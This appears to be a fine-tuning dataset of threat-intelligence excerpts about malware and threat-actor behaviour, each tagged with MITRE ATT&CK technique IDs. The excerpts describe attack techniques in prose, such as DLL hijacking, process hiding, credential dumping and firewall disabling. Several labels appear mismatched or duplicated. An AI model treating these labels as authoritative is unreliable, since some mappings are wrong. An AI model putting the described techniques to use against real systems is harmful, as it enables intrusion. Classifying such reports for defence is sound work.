"After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned Tcp table. If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records",['T1562.006 - Impair Defenses: Indicator Blocking'],fine_tune
"The function will then download an encrypted file containing the final payload used in the campaign. The file is encrypted with a custom XOR-based algorithm, with the key 0x0AE2. In the latest versions, the authors moved from encryption to using a base64-encoded ZIP file",['T1027 - Obfuscated Files or Information'],fine_tune
"When the persistence operation finishes, the loader deletes itself by writing a batch file in the Windows temporary folder with the file name prefix ‘tmp’ followed by random digits. The batch file content",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"We also observed a third approach used by a malicious document file to deliver Hancitor. Although the threat actor and command and control servers are similar to the second Hancitor delivery approach, this one uses an alternate tactic to reach its goal of data theft",['T1027 - Obfuscated Files or Information'],fine_tune
"As we mentioned, the Bad Rabbit ransomware encrypts a victim’s files and disk. Files are encrypted with the following algorithms",['T1486 - Data Encrypted for Impact'],fine_tune
"If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer. Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"2) The directory “out” is created in the user’s %AppData% folder. 5) The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed. 6) In one instance, DHS observed an “out.zip” file created",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. Further, CARBON SPIDER frequently conducted hypervisor jackpotting by encrypting ESXi servers using a version of Darkside specifically designed for ESXi",['T1486 - Data Encrypted for Impact'],fine_tune
"MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Cobalt Strike. Use scheduled tasks and batch files for automation. The use of LOLBins. Erasing Windows Event Logs, files and tasks",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"In the detected attack, the Ragnar Locker actors used a GPO task to execute Microsoft Installer (msiexec.exe), passing parameters to download and silently install a 122 MB crafted, unsigned MSI package from a remote web server. The primary contents of the MSI package were",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Then, it modifies the Team Viewer registry settings. As we said, the Team Viewer components used in this campaign are not the original ones. They are slightly modified. The malware author replaced all the entries of “Teamviewer” strings in Team Viewer components. TeamViewer client registry settings are then HKLMSoftwareGoldstagerVersion5 and HKLMSoftwareCoinstagerVersion5 correspondingly. The launcher sets up several registry values that control how the remote access tool will work. This parameter represents a hash of the password with which a remote user has to connect to Team Viewer client. After that, the starter executes the very Team Viewer client netsvcs.exe",['T1219 - Remote Access Software'],fine_tune
"Fake domains . Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. The attackers then used this fake website, which they hosted on a domain that was nearly identical to its legitimate counterpart, to distribute ObliqueRAT. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Malicious file-sharing domains . Transparent Tribe also regularly registers domains that appear to be legitimate file- and media-sharing services. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Conference attendees . Transparent Tribe also finds attendees of specific conferences to target. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites",['T1583.001 - Domains'],fine_tune
"AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details. OverWatch threat hunters also observed an attempt to discover and stop a third-party endpoint detection and response (EDR) service","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1007 - System Service Discovery', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
Konni malware family use a custom base64 key to encode the content of several files in the exfiltration phase. We observed the same flow of data reconnaissance and exfiltration across all campaigns,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Another interesting finding is that Bazar Loader has now implemented a Domain Generation Algorithm using the current date as a seed,['T1568.002 - Domain Generation Algorithms'],fine_tune
"Once the skimmer has the credit card details, it serializes the copied data into a string and encodes it with Base64. Then, it performs a character permutation on the encoded string to make sure it can’t be directly decoded with Base64 decoding",['T1560.003 - Archive via Custom Method'],fine_tune
The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note","['T1204.001 - Malicious Link', 'T1598.003 - Spearphishing Link']",fine_tune
Xbash is data-destructive; destroying Linux-based databases as part of its ransomware capabilities. We can also find NO functionality within Xbash that would enable restoration after the ransom is paid,['T1485 - Data Destruction'],fine_tune
"The CoinTicker app also creates a user launch agent, named .espl.plist, that runs the same command periodically",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on. More information about the Load registry key may be found here",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
The 'ssonsvr.exe' file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"1) Writes itself to %AppData%\Microsoft\Word\log.ps1 2) Sets up persistence for this file, using a run key. 6) Removes all registry entries that are left behind during the dropper process",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The process identifiers or PIDs to be hidden are stored in the shared memory ""Global\&lt;computer_name&gt;."" If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode. In this case, the intention of the malicious code is to hide Waterbear’s backdoor activities from the security product. Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode",['T1055.003 - Thread Execution Hijacking'],fine_tune
"Analysis of the F.bmp image revealed that it is indeed using Least Significant Bit (LSB) Steganography [9,10], a commonly used form of steganography that embeds data in an image without significantly affecting its appearance",['T1001.002 - Data Obfuscation via Steganography'],fine_tune
"Smoke Loader not only installs its original sample but also replaces it with a fresh version, which is downloaded from the C&amp;C – path: http://&lt;CnC address&gt;/system32.exe. This trick makes detection more difficult – updated samples are repacked by a different crypter, may also have their set of C&amp;Cs changed",['T1105 - Ingress Tool Transfer'],fine_tune
"The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function. If the communication fails, ZxShell disables the firewall by modifying the registry key",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Payloads are now hosted on compromised websites. The payloads hosted on these websites consist of seemingly benign BMP image files. The malicious macros download the images and the ObliqueRAT payload is extracted to disk. The ObliqueRAT payload is renamed with the .pif file extension,['T1027.003 - Steganography'],fine_tune
Since version 0.4.1 Creates a new Primary Refresh Token (PRT) as JWT to be used to sign-in as the user,['T1606.002 - Forge Web Credentials: SAML token'],fine_tune
"PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Also, the postinstall script moves the .CrashReporter program to a new location /Library/JMTTrader/CrashReporter and makes it executable. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github,['T1102.002 - Bidirectional Communication'],fine_tune
"The bot attempts to create a MUTEX using the value of variable “VL” to ensure that only one instance of the bot is running. The bot will proceed to create a copy of itself as %TEMP%/svchost.exe, execute that file, and terminate itself. The newly executed copy will create an autostart registry key to ensure persistence upon system reboot",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"We will discuss the Spark backdoor’s functionality in detail later in this blog, but this specific sample has the following configuration",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript, which allows the cybercriminals to understand the context of the infected workstation. This module mainly relies on WMI and Windows objects to deliver results, which will be sent back to the operators","['T1124 - System Time Discovery', 'T1082 - System Information Discovery', 'T1069.002 - Permission Groups Discovery: Domain Groups']",fine_tune
"Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource. The payload is downloaded from the following location and saved to ""%PUBLIC%\svchost32.exe","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English","['T1562.004 - Impair Defenses: Disable or Modify System Firewall', 'T1098 - Account Manipulation']",fine_tune
"As we can see, the flow is obfuscated. But in Pony this technique is used in more sophisticated way because there are some junk instructions added between the PUSH and the RET in addition to a never executed bogus conditional jump",['T1027 - Obfuscated Files or Information'],fine_tune
Screenshot: takes system screenshots and saves them to %AppData% before sending them to the C2 via a POST request,['T1113 - Screen Capture'],fine_tune
"If nothing like that is detected, the malware will decrypt the third stage and execute it by using the process hollowing technique, commonly used by malware authors. In this version, the payloads are encrypted with the same XOR-based algorithm as the one used in previous versions, however in this latest version, the payload is encrypted twice, with different keys","['T1027 - Obfuscated Files or Information', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
"As mentioned in the table above, version 3 has two forms - one is an independent executable, and the other is a loader that loads a DLL from the resources section and executes it. Even before doing any static / dynamic analysis, we can use VirusTotal to determine that the resources section probably contains more data, in this case an encrypted DLL that is loaded into memory",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"As noted, there are two distinct variants of ServHelper: a “tunnel” variant and a “downloader” variant. The “downloader” variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader",['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
"BoomBox proceeds to upload the data above (masquerading as a PDF file) to a dedicated-per-victim-system folder in Dropbox. For demonstration purposes, an example HTTP(s) POST request used to upload the file/data to Dropbox is included below",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol - Commonly used port: the attackers used common ports such as port 443 for control server communications - Service execution: registers the implant as a service on the victim’s machine - Automated collection: the implant automatically collects data about the victim and sends it to the control server - Data from local system: local system is discovered and data is gathered - Process discovery: implants can list processes running on the system - System time discovery: part of the data reconnaissance method, the system time is also sent to the control server - File deletion:: malware can wipe files indicated by the attacker","['T1124 - System Time Discovery', 'T1119 - Automated Collection', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"The backdoor also collects some rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings","['T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery']",fine_tune
"The exact date when the malware was compiled is unknown – the recent wrapper DLL samples were tampered with by the malware authors, with the PE timestamps manually set to zero values. However, during our research, we found an earlier version of the malware with a PE timestamp reading Oct 13, 2013, so the compilation date of the later version is almost surely more recent",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers. Mimikatz - PowerShell and Binary versions, with multiple layers of obfuscation",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"Any other command that doesn’t fit the above patterns will be forwarded and processed as an argument to ‘cmd.exe /c’ and run via the ‘ShellExecuteW’ API. Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command",['T1106 - Native API'],fine_tune
"The malware uses the AMAP SDK to get accurate location of infected devices by GPS, mobile network (such as base stations), WiFi and other information. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. All C2 communications are encrypted with the AES algorithm using a key generated by computing five MD5 hashes starting with the key ""1qazxcvbnm"", and adding a salt value of “.)1/” in each iteration",['T1082 - System Information Discovery'],fine_tune
"In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine. Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again, as can be seen in Figure 4. If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function, as illustrated in Figure 6. The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable. The purpose of this is to further avoid being detected by a certain cybersecurity solution",['T1027.005 - Indicator Removal from Tools'],fine_tune
The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request,['T1033 - System Owner/User Discovery'],fine_tune
"Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below",['T1036 - Masquerading'],fine_tune
"It then executes a new instance of itself in a new process. Also, it will remove the original file via the following command that is executed in a batch script named 'date.bat","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"The last one is used by this setup, and in this mode the ransomware encrypts the files on all available mapped network drives","['T1486 - Data Encrypted for Impact', 'T1564.006 - Run Virtual Instance']",fine_tune
"The library used to hide Winnti’s system activity is a copy of the open-source userland rootkit Azazel¹⁰, with minor changes. When executed, it will register symbols for multiple commonly used functions, including: open(), rmdir(), and unlink(), and modify their returns to hide the malware’s operations",['T1014 - Rootkit'],fine_tune
The arp.exe command is used to display and modify entries in the Address Resolution Protocol (ARP) cache. Adversaries may attempt to use the command to discover remote systems they could compromise,['T1018 - Remote System Discovery'],fine_tune
"We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related. The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. These attacks have also been tracked by several other researchers on Twitter and elsewhere. The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries","['T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
"FlawedGrace creates, encrypts, and stores a configuration file containing the C&amp;C IPs and ports in a “&lt;hex digits&gt;.dat” file (e.g. C:\ProgramData\21851a60.dat”). The first 16 bytes of the file are an AES initialization vector (IV). The rest of the data is AES-encrypted in CBC mode",['T1027 - Obfuscated Files or Information'],fine_tune
"Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies",['T1539 - Steal Web Session Cookie'],fine_tune
"Once the threat actor mapped the network and obtained credentials (through net use), they began to move laterally. The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets",['T1047 - Windows Management Instrumentation'],fine_tune
"In March 2016, a financially motivated threat actor launched several tailored spear phishing campaigns primarily targeting the retail, restaurant, and hospitality industries. The emails contained variations of Microsoft Word documents with embedded macros that, when enabled, downloaded and executed a malicious downloader that we refer to as PUNCHBUGGY",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. It starts from the tenth byte in the data section of the initial TCP POST request. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. We determined that the binary was packed because we did not see the C2 URL or any signs of being an information stealer (such as an applications list) in the binary strings and resources",['T1555 - Credentials from Password Stores'],fine_tune
"Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. This backdoor can only execute additional PowerShell scripts. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it",['T1072 - Software Deployment Tools'],fine_tune
"Through the use of this platform, the operator was able to monitor and manage various compromised email accounts simultaneously",['T1586.002 - Email Accounts'],fine_tune
"As seen in Figure 7, this .NET executable uses a GitHub repository to obtain and execute a downloader. This repository is now gone, but we were able to download a copy of it while it was still available",['T1102 - Web Service'],fine_tune
"Along with the change to using a DLL, Qbot also changed where it stores configuration information on the infected host. Earlier versions of Qbot stored this data within a DAT file in the same randomly named folder as the malicious binary. As of late 2020, this data is now stored in the registry, under a randomly named subkey under HKCU\Software\Microsoft. While this move to the registry keeps things a bit more hidden from prying eyes, in both cases the presence of a randomly named value under the Microsoft folder/key should be cause to investigate",['T1112 - Modify Registry'],fine_tune
"Mandiant has created a task force &amp; initiated a Global Event to track the Russian invasion of Ukraine. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64. The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The Emissary configuration is now encrypted using a custom algorithm that uses the ""srand"" function to seed the ""rand"" function using a value of 2563. This seed value causes the ""rand"" function to generate the same values each time, which Emissary will use as a key along with the XOR operation. The configuration now contains the version number of Emissary, instead of the version being hardcoded into the Trojan",['T1027 - Obfuscated Files or Information'],fine_tune
"Actors behind Agent Tesla campaigns have also used malicious Office documents to facilitate first-stage delivery. Specially-crafted documents, exploiting Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570, have been leveraged, even in present day campaigns. These and similar exploits allow for quick delivery and execution with minimal user interaction (beyond opening the malicious documents and allowing active content to proceed",['T1203 - Exploitation for Client Execution'],fine_tune
"The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Using previously stolen credentials the attacker logged into a domain controller and copied tools into the %TEMP% directory. Copied tools included AdFind.exe (Active Directory enumeration utility), a batch script (Figure 2), and a copy of the 7-Zip archive utility. Downloaded utilities were copied to C:\Windows\SysWOW64\. - The attacker performed host and network reconnaissance using built-in Windows commands. AdFind.exe was executed using the previously noted batch script, which was crafted to pass the utility a series of commands that were used to collect information about Active Directory users, systems, OUs, subnets, groups, and trust objects. The output from each command was saved to an individual text file alongside the AdFind.exe utility (Figure 2). - This process was performed twice on the same domain controller, 10 hours apart. Between executions of Adfind the attacker tested access to multiple domain controllers in the victim environment, including the one later used to deploy Ryuk. The attacker logged into a domain controller and copied instances of PSExec.exe, a batch script used to kill processes and stop services, and an instance of Ryuk onto the system. Using PsExec the attacker copied the process/service killing batch script to the %TEMP% folder on hundreds of computers across the victim environment, from which it was then executed. The attacker then used PsExec to copy the Ryuk binary to the %SystemRoot% directories of these same computers",['T1018 - Remote System Discovery'],fine_tune
"Summary In the past few months, Unit 42 has observed the Patchwork group, alternatively known as Dropping Elephant and Monsoon, conducting campaigns against targets located in the Indian subcontinent. Patchwork threat actors utilized a pair of EPS exploits rolled into legitimate, albeit malicious, documents in order to propagate their updated BADNEWS payload. The use of weaponized legitimate documents is a longstanding operational standard of this group. The BADNEWS malware payload, which these malicious documents ultimately deliver, has been updated since the last public report in December 2017. These changes to BADNEWS, as well as the use of recent EPS-based exploits, demonstrate that the group are actively updating their toolsets in efforts to stay ahead of the security community. In this posting, we detail our findings and document these changes. Delivery The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities. Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability, however in late January 2018 when, paradoxically, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability. The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below",['T1203 - Exploitation for Client Execution'],fine_tune
1) Brute-force using a pre-defined list of usernames and passwords in an attempt to login to Admin panels,['T1110.001 - Brute Force: Password Guessing'],fine_tune
"Sakula obfuscates many of its strings using single-byte XOR obfuscation. Samples with a 2012 compile timestamp use a key value of either 0x88 or 0x56. Samples compiled in 2013 and 2014 use a key value of 0x56, while the lone 2015 sample uses 0x57",['T1027 - Obfuscated Files or Information'],fine_tune
"We euphemistically refer to the bit fiddling function in the interest of brevity. Looking through it, we see calls to Windows APIs to acquire a cryptographic context provider and generate random bytes. It’s likely this is being used for an inlined crypto implementation and byte overwriting, but the mechanism isn’t entirely clear at this time",['T1106 - Native API'],fine_tune
A base working directory will contain the files/folders related to Carbon. This directory is chosen randomly among the folders in %ProgramFiles% but excluding “WindowsApps,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Kimsuky employs a wide variety of malware such as Gold Dragon, Babyshark, Appleseed, etc. The module meant for exfiltrating files from the endpoint uses a distinct filepath list specified by the threat actors.Organizations must remain vigilant against motivated adversaries that conduct targeted attacks",['T1583.006 - Web Services'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use downloaders or other malware to send the new list to a compromised host. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1105 - Ingress Tool Transfer'],fine_tune
"The goal of targeting some victims appears to be to obtain data. How this data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve data from memory of systems where such data is typically processed",['T1119 - Automated Collection'],fine_tune
"SUNSPOT was identified on disk with a filename of taskhostsvc.exe (SHA256 Hash: c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168), and internally named taskhostw.exe by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The downloaded file named install_flash_player.exe needs to be manually launched by the victim. To operate correctly, it needs elevated administrative privileges which it attempts to obtain using the standard UAC prompt. If started, it will save the malicious DLL as C:Windowsinfpub.dat and launch it using rundll32",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
